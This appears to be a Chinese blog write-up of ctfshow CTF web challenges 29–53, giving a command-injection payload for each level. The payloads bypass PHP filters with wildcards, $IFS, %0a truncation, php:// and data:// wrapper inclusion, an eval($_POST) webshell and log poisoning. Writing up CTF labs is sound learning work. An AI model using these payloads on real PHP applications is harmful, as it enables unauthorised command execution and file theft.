web

ctfshow命令执行29-53

noob
2021-04-08 / 0 评论 / 174 阅读 / 正在检测是否收录...

web29
只对flag进行了过滤,有很多绕过方法,可以使用通配符或者转义字符等等。payload:?c=system("cat fla*");
web30
在29的基础上增加了system和php,因此可以使用nl命令加通配符,或者是反引号,payload:?c=echo nl fla*;
web31
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c))过滤了大多数参数,先使用print_r(scandir(dirname(__FILE__)));可以看到第三个元素是flag.php,因此直接使用array_reverse()倒置并使用next()函数定位,高亮显示即可
web32
此处进行了多重过滤,包括括号,因此,需要找一个没有括号的命令来进行绕过,此处使用include,分号使用?>进行绕过,然后就结合一下php伪协议就可以实现绕过
web33-36
这里除了36对数字进行过滤了之外,剩下的都可以直接进行伪协议,payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php或者使用data协议,?c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>或者此处转码,?c=include$_GET[a]?>&data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==就能拿到flag
web37-38
因为对c进行了一次取数加过滤,并过滤了flag,所以想到利用data伪协议进行base64转码的操作,就可以拿到flag;还可以进行新操作,配合UA头执行日志包含
虽然不建议用ua头日止包含,但是还是试了下:首先通过ua头传POST参数a,然后在POST中传参1,然后利用参数1访问日志文件,利用参数a拿flag
还可以通过包含flag.php文件,然后var_dump(get_defined_vars)拿到flag
web39
类似于38但是这里有一部else之后添加.php,这里不用管,直接使用data伪协议就好,就可以进行输出,这里不能用base64,因为这个地方的.php是最后加的,会影响最后的转码;还有另一种方法能得到flag,就是构造新的参数进行命令执行,payload:?c=data://text/plain,<?php eval($_POST[1]);?>,此时的POST请求中输入1=system("tac flag.php");得到flag
web40
过滤了很多的特殊字符,因此可以使用之前的函数进行操作。先用print_r(scandir(dirname(__FILE__)))看到flag.php,然后使用next(array_reverse())定位,最后使用高亮输出,得到flag,payload:?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));也或者通过另一种形式,payload:?c=show_source(next(array_reverse(pos(localeconv()))));也可以得到flag
web41
无数字无字母的命令执行,这里直接用的yu大佬的脚本,具体用法就是把两个脚本放在同一目录,然后powershell运行出flag。脚本原理是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符,相当于找出可用字符拼命令。
web42
没有进行过滤,但是在参数的最后加上了>/dev/null 2>&1,如果执行则得不到结果,于是需要进行截断,直接%0a截断即可
web43
对cat进行了过滤,但是nl仍然在外面,因此直接使用?c=nl flag.php%0a得到flag
web44
同时过滤了cat和flag,直接使用通配符拿到flag。payload:?c=nl fla*%0a
web45
比44多过滤了一个空格,这时可以用内联注执行或者%09绕过,内联执行使用:payload:?c=echo$IFStac$IFS*%0a,还有很多绕过空格的方法:<>
web46
多过滤了数字,实际上基本上差不多,payload:?c=nl%09flag.php%0a
web47
可以直接用46的命令执行,尝试<成功,绕过flag使用flag和fla''g成功
web48
与上面相同
web49
c=nl%09flag.php||
c=nl%09flag.php%0a
c=nl%09fla''g.php%0a
c=nl%09fla""g.php%0a
c=vi%09flag.php%0a
c=tac%09flag.php%0a
c=uniq%09flag.php%0a
c=nl<fla''g.php||
c=nl%09flag.php%26
web50
同上
web51
同上
web52
这里对于空格的绕过检测过滤的很严格,但是没有过滤$,因此可以利用$IFS进行绕过,payload:?c=nl$IFS/flag||
web53
没有了后面的>/dev/null 2>&1,过滤依然和前面差不多。payload:?c=nl$IFSflag.php可以得到flag。

1

评论 (0)

取消